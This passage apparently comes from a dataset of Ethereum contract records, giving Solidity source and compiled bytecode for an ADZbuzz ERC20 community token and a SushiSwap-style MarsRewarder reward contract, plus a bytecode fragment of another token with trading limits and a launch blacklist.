2063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105dd565b601754811115610ec85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105dd565b6001600160a01b03831660009081526011602052604090205460ff16158015610f0a57506001600160a01b03821660009081526011602052604090205460ff16155b610f625760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105dd565b6008544311158015610f8157506016546001600160a01b038481169116145b8015610f9b57506015546001600160a01b03838116911614155b8015610fb057506001600160a01b0382163014155b15610fd9576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b0383811691161461105e5760185481610ffb846107be565b6110059190611d76565b1061105e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105dd565b6000611069306107be565b6019546017549192508210159082106110825760175491505b8080156110995750601654600160a81b900460ff16155b80156110b357506016546001600160a01b03868116911614155b80156110c85750601654600160b01b900460ff165b80156110ed57506001600160a01b03851660009081526005602052604090205460ff16155b801561111257506001600160a01b03841660009081526005602052604090205460ff16155b15611132576111208261137f565b4780156111305761113047611276565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061117757506001600160a01b03831660009081526005602052604090205460ff165b806111a957506016546001600160a01b038581169116148015906111a957506016546001600160a01b03848116911614155b156111b657506000611230565b6016546001600160a01b0385811691161480156111e157506015546001600160a01b03848116911614155b156111f357600954600d55600a54600e555b6016546001600160a01b03848116911614801561121e57506015546001600160a01b03858116911614155b1561123057600b54600d55600c54600e555b610a4684848484611524565b600081848411156112605760405162461bcd60e51b81526004016105dd9190611c7e565b50600061126d8486611dcd565b95945050505050565b6013546001600160a01b03166108fc611290836002611552565b6040518115909202916000818181858888f193505050501580156112b8573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112d3836002611552565b6040518115909202916000818181858888f1935050505015801561065c573d6000803e3d6000fd5b60006006548211156113625760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105dd565b600061136c611594565b90506113788382611552565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113d557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561142957600080fd5b505afa15801561143d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114619190611a16565b8160018151811061148257634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546114a89130911684610b65565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114e1908590600090869030904290600401611d06565b600060405180830381600087803b1580156114fb57600080fd5b505af115801561150f573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611531576115316115b7565b61153c8484846115e5565b80610a4657610a46600f54600d55601054600e55565b600061137883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116dc565b60008060006115a161170a565b90925090506115b08282611552565b9250505090565b600d541580156115c75750600e54155b156115ce57565b600d8054600f55600e805460105560009182905555565b6000806000806000806115f78761174a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162990876117a7565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461165890866117e9565b6001600160a01b03891660009081526002602052604090205561167a81611848565b6116848483611892565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116c991815260200190565b60405180910390a3505050505050505050565b600081836116fd5760405162461bcd60e51b81526004016105dd9190611c7e565b50600061126d8486611d8e565b6006546000908190670de0b6b3a76400006117258282611552565b82101561174157505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006117678a600d54600e546118b6565b9250925092506000611777611594565b9050600080600061178a8e87878761190b565b919e509c509a509598509396509194505050505091939550919395565b600061137883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061123c565b6000806117f68385611d76565b9050838110156113785760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105dd565b6000611852611594565b90506000611860838361195b565b3060009081526002602052604090205490915061187d90826117e9565b30600090815260026020526040902055505050565b60065461189f90836117a7565b6006556007546118af90826117e9565b6007555050565b60008080806118d060646118ca898961195b565b90611552565b905060006118e360646118ca8a8961195b565b905060006118fb826118f58b866117a7565b906117a7565b9992985090965090945050505050565b600080808061191a888661195b565b90506000611928888761195b565b90506000611936888861195b565b90506000611948826118f586866117a7565b939b939a50919850919650505050505050565b60008261196a57506000610671565b60006119768385611dae565b9050826119838583611d8e565b146113785760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105dd565b80356119e581611e2b565b919050565b803580151581146119e557600080fd5b600060208284031215611a0b578081fd5b813561137881611e2b565b600060208284031215611a27578081fd5b815161137881611e2b565b60008060408385031215611a44578081fd5b8235611a4f81611e2b565b91506020830135611a5f81611e2b565b809150509250929050565b600080600060608486031215611a7e578081fd5b8335611a8981611e2b565b92506020840135611a9981611e2b565b929592945050506040919091013590565b60008060408385031215611abc578182fd5b8235611ac781611e2b565b946020939093013593505050565b600080600060408486031215611ae9578283fd5b833567ffffffffffffffff80821115611b00578485fd5b818601915086601f830112611b13578485fd5b813581811115611b21578586fd5b8760208260051b8501011115611b35578586fd5b602092830195509350611b4b91860190506119ea565b90509250925092565b60006020808385031215611b66578182fd5b823567ffffffffffffffff80821115611b7d578384fd5b818501915085601f830112611b90578384fd5b813581811115611ba257611ba2611e15565b8060051b604051601f19603f83011681018181108582111715611bc757611bc7611e15565b604052828152858101935084860182860187018a1015611be5578788fd5b8795505b83861015611c0e57611bfa816119da565b855260019590950194938601938601611be9565b5098975050505050505050565b600060208284031215611c2c578081fd5b611378826119ea565b600060208284031215611c46578081fd5b5035919050565b60008060008060808587031215611c62578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611caa57858101830151858201604001528201611c8e565b81811115611cbb5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d555784516001600160a01b031683529383019391830191600101611d30565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d8957611d89611dff565b500190565b600082611da957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611dc857611dc8611dff565b500290565b600082821015611ddf57611ddf611dff565b500390565b6000600019821415611df857611df8611dff565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107bb57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220685f35dc8480b35f5a0545ac120313640b1ee33b51e422ab9ad068fa110b922a64736f6c63430008040033
[ 13 ]
0xf3128ee2217cc59e5702a21dfb6d293646341c17
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'ACT125650' token contract // // Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187 // Symbol : ACT125650 // Name : ADZbuzz Latest-ufo-sightings.net Community Token // Total supply: 2000000 // Decimals : 8 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ADZbuzzCommunityToken() public { symbol = "ACT125650"; name = "ADZbuzz Latest-ufo-sightings.net Community Token"; decimals = 8; _totalSupply = 200000000000000; balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply; emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x6060604052600436106100f85763ffffffff60e060020a60003504166306fdde0381146100fd578063095ea7b31461018757806318160ddd146101bd57806323b872dd146101e2578063313ce5671461020a5780633eaaf86b1461023357806370a082311461024657806379ba5097146102655780638da5cb5b1461027a57806395d89b41146102a9578063a293d1e8146102bc578063a9059cbb146102d5578063b5931f7c146102f7578063cae9ca5114610310578063d05c78da14610375578063d4ee1d901461038e578063dc39d06d146103a1578063dd62ed3e146103c3578063e6cb9013146103e8578063f2fde38b14610401575b600080fd5b341561010857600080fd5b610110610420565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014c578082015183820152602001610134565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019257600080fd5b6101a9600160a060020a03600435166024356104be565b604051901515815260200160405180910390f35b34156101c857600080fd5b6101d061052b565b60405190815260200160405180910390f35b34156101ed57600080fd5b6101a9600160a060020a036004358116906024351660443561055d565b341561021557600080fd5b61021d61065e565b60405160ff909116815260200160405180910390f35b341561023e57600080fd5b6101d0610667565b341561025157600080fd5b6101d0600160a060020a036004351661066d565b341561027057600080fd5b610278610688565b005b341561028557600080fd5b61028d610716565b604051600160a060020a03909116815260200160405180910390f35b34156102b457600080fd5b610110610725565b34156102c757600080fd5b6101d0600435602435610790565b34156102e057600080fd5b6101a9600160a060020a03600435166024356107a5565b341561030257600080fd5b6101d0600435602435610858565b341561031b57600080fd5b6101a960048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061087995505050505050565b341561038057600080fd5b6101d06004356024356109dc565b341561039957600080fd5b61028d610a01565b34156103ac57600080fd5b6101a9600160a060020a0360043516602435610a10565b34156103ce57600080fd5b6101d0600160a060020a0360043581169060243516610aa3565b34156103f357600080fd5b6101d0600435602435610ace565b341561040c57600080fd5b610278600160a060020a0360043516610ade565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104b65780601f1061048b576101008083540402835291602001916104b6565b820191906000526020600020905b81548152906001019060200180831161049957829003601f168201915b505050505081565b600160a060020a03338116600081815260076020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b6000805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8546005540390565b600160a060020a0383166000908152600660205260408120546105809083610790565b600160a060020a03808616600090815260066020908152604080832094909455600781528382203390931682529190915220546105bd9083610790565b600160a060020a03808616600090815260076020908152604080832033851684528252808320949094559186168152600690915220546105fd9083610ace565b600160a060020a03808516600081815260066020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60045460ff1681565b60055481565b600160a060020a031660009081526006602052604090205490565b60015433600160a060020a039081169116146106a357600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104b65780601f1061048b576101008083540402835291602001916104b6565b60008282111561079f57600080fd5b50900390565b600160a060020a0333166000908152600660205260408120546107c89083610790565b600160a060020a0333811660009081526006602052604080822093909355908516815220546107f79083610ace565b600160a060020a0380851660008181526006602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600080821161086657600080fd5b818381151561087157fe5b049392505050565b600160a060020a03338116600081815260076020908152604080832094881680845294909152808220869055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a383600160a060020a0316638f4ffcb1338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561097457808201518382015260200161095c565b50505050905090810190601f1680156109a15780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156109c257600080fd5b5af115156109cf57600080fd5b5060019695505050505050565b8181028215806109f657508183828115156109f357fe5b04145b151561052557600080fd5b600154600160a060020a031681565b6000805433600160a060020a03908116911614610a2c57600080fd5b600054600160a060020a038085169163a9059cbb91168460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610a8657600080fd5b5af11515610a9357600080fd5b5050506040518051949350505050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b8181018281101561052557600080fd5b60005433600160a060020a03908116911614610af957600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a7230582044211ab5b0448a6df1a08f4a439eb3f591ea9ecadc4961981f24029ddd844d080029
[ 2 ]
0xf313455fa32db78a02aebf824624cf914abe2533
// File @boringcrypto/boring-solidity/contracts/interfaces/IERC20.sol@v1.0.4 // SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); // EIP 2612 function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; } // File @boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol@v1.0.4 pragma solidity 0.6.12; library BoringERC20 { function safeSymbol(IERC20 token) internal view returns(string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x95d89b41)); return success && data.length > 0 ? abi.decode(data, (string)) : "???"; } function safeName(IERC20 token) internal view returns(string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x06fdde03)); return success && data.length > 0 ? abi.decode(data, (string)) : "???"; } function safeDecimals(IERC20 token) internal view returns (uint8) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x313ce567)); return success && data.length == 32 ? abi.decode(data, (uint8)) : 18; } function safeTransfer(IERC20 token, address to, uint256 amount) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0xa9059cbb, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed"); } function safeTransferFrom(IERC20 token, address from, address to, uint256 amount) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0x23b872dd, from, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed"); } } // File contracts/interfaces/IRewarder.sol pragma solidity 0.6.12; interface IRewarder { using BoringERC20 for IERC20; function onSushiReward(uint256 pid, address user, address recipient, uint256 sushiAmount, uint256 newLpAmount) external; function pendingTokens(uint256 pid, address user, uint256 sushiAmount) external view returns (IERC20[] memory, uint256[] memory); } // File @boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol@v1.0.4 pragma solidity 0.6.12; // a library for performing overflow-safe math, updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math) library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) {require((c = a + b) >= b, "BoringMath: Add Overflow");} function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {require((c = a - b) <= a, "BoringMath: Underflow");} function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {require(b == 0 || (c = a * b)/b == a, "BoringMath: Mul Overflow");} function to128(uint256 a) internal pure returns (uint128 c) { require(a <= uint128(-1), "BoringMath: uint128 Overflow"); c = uint128(a); } function to64(uint256 a) internal pure returns (uint64 c) { require(a <= uint64(-1), "BoringMath: uint64 Overflow"); c = uint64(a); } function to32(uint256 a) internal pure returns (uint32 c) { require(a <= uint32(-1), "BoringMath: uint32 Overflow"); c = uint32(a); } } library BoringMath128 { function add(uint128 a, uint128 b) internal pure returns (uint128 c) {require((c = a + b) >= b, "BoringMath: Add Overflow");} function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {require((c = a - b) <= a, "BoringMath: Underflow");} } library BoringMath64 { function add(uint64 a, uint64 b) internal pure returns (uint64 c) {require((c = a + b) >= b, "BoringMath: Add Overflow");} function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {require((c = a - b) <= a, "BoringMath: Underflow");} } library BoringMath32 { function add(uint32 a, uint32 b) internal pure returns (uint32 c) {require((c = a + b) >= b, "BoringMath: Add Overflow");} function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {require((c = a - b) <= a, "BoringMath: Underflow");} } // File @boringcrypto/boring-solidity/contracts/BoringOwnable.sol@v1.0.4 // Audit on 5-Jan-2021 by Keno and BoringCrypto // P1 - P3: OK pragma solidity 0.6.12; // Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol + Claimable.sol // Edited by BoringCrypto // T1 - T4: OK contract BoringOwnableData { // V1 - V5: OK address public owner; // V1 - V5: OK address public pendingOwner; } // T1 - T4: OK contract BoringOwnable is BoringOwnableData { // E1: OK event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () public { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } // F1 - F9: OK // C1 - C21: OK function transferOwnership(address newOwner, bool direct, bool renounce) public onlyOwner { if (direct) { // Checks require(newOwner != address(0) || renounce, "Ownable: zero address"); // Effects emit OwnershipTransferred(owner, newOwner); owner = newOwner; pendingOwner = address(0); } else { // Effects pendingOwner = newOwner; } } // F1 - F9: OK // C1 - C21: OK function claimOwnership() public { address _pendingOwner = pendingOwner; // Checks require(msg.sender == _pendingOwner, "Ownable: caller != pending owner"); // Effects emit OwnershipTransferred(owner, _pendingOwner); owner = _pendingOwner; pendingOwner = address(0); } // M1 - M5: OK // C1 - C21: OK modifier onlyOwner() { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } } // File contracts/mocks/CloneRewarderTime.sol pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IMasterChefV2 { function lpToken(uint256 pid) external view returns (IERC20 _lpToken); } /// @author @0xKeno contract MarsRewarder is IRewarder, BoringOwnable{ using BoringMath for uint256; using BoringMath128 for uint128; using BoringERC20 for IERC20; IERC20 public rewardToken; /// @notice Info of each Rewarder user. /// `amount` LP token amount the user has provided. /// `rewardDebt` The amount of Reward Token entitled to the user. struct UserInfo { uint256 amount; uint256 rewardDebt; uint256 unpaidRewards; } /// @notice Info of the rewarder pool struct PoolInfo { uint128 accToken1PerShare; uint64 lastRewardTime; } /// @notice Mapping to track the rewarder pool. mapping (uint256 => PoolInfo) public poolInfo; /// @notice Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; uint256 public rewardPerSecond; IERC20 public masterLpToken; uint256 private constant ACC_TOKEN_PRECISION = 1e12; address public immutable MASTERCHEF_V2; uint256 internal unlocked; modifier lock() { require(unlocked == 1, "LOCKED"); unlocked = 2; _; unlocked = 1; } event LogOnReward(address indexed user, uint256 indexed pid, uint256 amount, address indexed to); event LogUpdatePool(uint256 indexed pid, uint64 lastRewardTime, uint256 lpSupply, uint256 accToken1PerShare); event LogRewardPerSecond(uint256 rewardPerSecond); event LogInit(IERC20 indexed rewardToken, address owner, uint256 rewardPerSecond, IERC20 indexed masterLpToken); constructor (address _MASTERCHEF_V2) public { MASTERCHEF_V2 = _MASTERCHEF_V2; } /// @notice Serves as the constructor for clones, as clones can't have a regular constructor /// @dev `data` is abi encoded in the format: (IERC20 collateral, IERC20 asset, IOracle oracle, bytes oracleData) function init(bytes calldata data) public payable { require(rewardToken == IERC20(0), "Rewarder: already initialized"); (rewardToken, owner, rewardPerSecond, masterLpToken) = abi.decode(data, (IERC20, address, uint256, IERC20)); require(rewardToken != IERC20(0), "Rewarder: bad token"); unlocked = 1; emit LogInit(rewardToken, owner, rewardPerSecond, masterLpToken); } function onSushiReward (uint256 pid, address _user, address to, uint256, uint256 lpTokenAmount) onlyMCV2 lock override external { require(IMasterChefV2(MASTERCHEF_V2).lpToken(pid) == masterLpToken); PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][_user]; uint256 pending; if (user.amount > 0) { pending = (user.amount.mul(pool.accToken1PerShare) / ACC_TOKEN_PRECISION).sub( user.rewardDebt ).add(user.unpaidRewards); uint256 balance = rewardToken.balanceOf(address(this)); if (pending > balance) { rewardToken.safeTransfer(to, balance); user.unpaidRewards = pending - balance; } else { rewardToken.safeTransfer(to, pending); user.unpaidRewards = 0; } } user.amount = lpTokenAmount; user.rewardDebt = lpTokenAmount.mul(pool.accToken1PerShare) / ACC_TOKEN_PRECISION; emit LogOnReward(_user, pid, pending - user.unpaidRewards, to); } function pendingTokens(uint256 pid, address user, uint256) override external view returns (IERC20[] memory rewardTokens, uint256[] memory rewardAmounts) { IERC20[] memory _rewardTokens = new IERC20[](1); _rewardTokens[0] = (rewardToken); uint256[] memory _rewardAmounts = new uint256[](1); _rewardAmounts[0] = pendingToken(pid, user); return (_rewardTokens, _rewardAmounts); } function rewardRates() external view returns (uint256[] memory) { uint256[] memory _rewardRates = new uint256[](1); _rewardRates[0] = rewardPerSecond; return (_rewardRates); } /// @notice Sets the sushi per second to be distributed. Can only be called by the owner. /// @param _rewardPerSecond The amount of Sushi to be distributed per second. function setRewardPerSecond(uint256 _rewardPerSecond) public onlyOwner { rewardPerSecond = _rewardPerSecond; emit LogRewardPerSecond(_rewardPerSecond); } /// @notice Allows owner to reclaim/withdraw any tokens (including reward tokens) held by this contract /// @param token Token to reclaim, use 0x00 for Ethereum /// @param amount Amount of tokens to reclaim /// @param to Receiver of the tokens, first of his name, rightful heir to the lost tokens, /// reightful owner of the extra tokens, and ether, protector of mistaken transfers, mother of token reclaimers, /// the Khaleesi of the Great Token Sea, the Unburnt, the Breaker of blockchains. function reclaimTokens(address token, uint256 amount, address payable to) public onlyOwner { if (token == address(0)) { to.transfer(amount); } else { IERC20(token).safeTransfer(to, amount); } } modifier onlyMCV2 { require( msg.sender == MASTERCHEF_V2, "Only MCV2 can call this function." ); _; } /// @notice View function to see pending Token /// @param _pid The index of the pool. See `poolInfo`. /// @param _user Address of user. /// @return pending SUSHI reward for a given user. function pendingToken(uint256 _pid, address _user) public view returns (uint256 pending) { PoolInfo memory pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accToken1PerShare = pool.accToken1PerShare; uint256 lpSupply = IMasterChefV2(MASTERCHEF_V2).lpToken(_pid).balanceOf(MASTERCHEF_V2); if (block.timestamp > pool.lastRewardTime && lpSupply != 0) { uint256 time = block.timestamp.sub(pool.lastRewardTime); uint256 sushiReward = time.mul(rewardPerSecond); accToken1PerShare = accToken1PerShare.add(sushiReward.mul(ACC_TOKEN_PRECISION) / lpSupply); } pending = (user.amount.mul(accToken1PerShare) / ACC_TOKEN_PRECISION).sub(user.rewardDebt).add(user.unpaidRewards); } /// @notice Update reward variables of the given pool. /// @param pid The index of the pool. See `poolInfo`. /// @return pool Returns the pool that was updated. function updatePool(uint256 pid) public returns (PoolInfo memory pool) { pool = poolInfo[pid]; if (block.timestamp > pool.lastRewardTime) { uint256 lpSupply = IMasterChefV2(MASTERCHEF_V2).lpToken(pid).balanceOf(MASTERCHEF_V2); if (lpSupply > 0) { uint256 time = block.timestamp.sub(pool.lastRewardTime); uint256 sushiReward = time.mul(rewardPerSecond); pool.accToken1PerShare = pool.accToken1PerShare.add((sushiReward.mul(ACC_TOKEN_PRECISION) / lpSupply).to128()); } pool.lastRewardTime = block.timestamp.to64(); poolInfo[pid] = pool; emit LogUpdatePool(pid, pool.lastRewardTime, lpSupply, pool.accToken1PerShare); } } }
0x6080604052600436106101095760003560e01c80638da5cb5b11610095578063a88a5c1611610064578063a88a5c16146102b9578063c1ea3868146102db578063d63b3c49146102fb578063e30c397814610329578063f7c618c11461033e57610109565b80638da5cb5b1461024b5780638f10369a1461026057806393f1a40b14610275578063a8594dab146102a457610109565b80634e71e0c8116100dc5780634e71e0c8146101a757806351eb05a6146101bc5780635a894421146101e957806366da58151461020b5780638bf637421461022b57610109565b8063078dfbe71461010e5780631526fe271461013057806348e43af4146101675780634ddf47d414610194575b600080fd5b34801561011a57600080fd5b5061012e6101293660046112b2565b610353565b005b34801561013c57600080fd5b5061015061014b366004611430565b610442565b60405161015e9291906118f4565b60405180910390f35b34801561017357600080fd5b50610187610182366004611460565b610470565b60405161015e9190611917565b61012e6101a2366004611355565b6106e5565b3480156101b357600080fd5b5061012e6107dc565b3480156101c857600080fd5b506101dc6101d7366004611430565b610869565b60405161015e91906118ca565b3480156101f557600080fd5b506101fe610b2d565b60405161015e919061158a565b34801561021757600080fd5b5061012e610226366004611430565b610b51565b34801561023757600080fd5b5061012e61024636600461148f565b610bbb565b34801561025757600080fd5b506101fe610ebe565b34801561026c57600080fd5b5061018761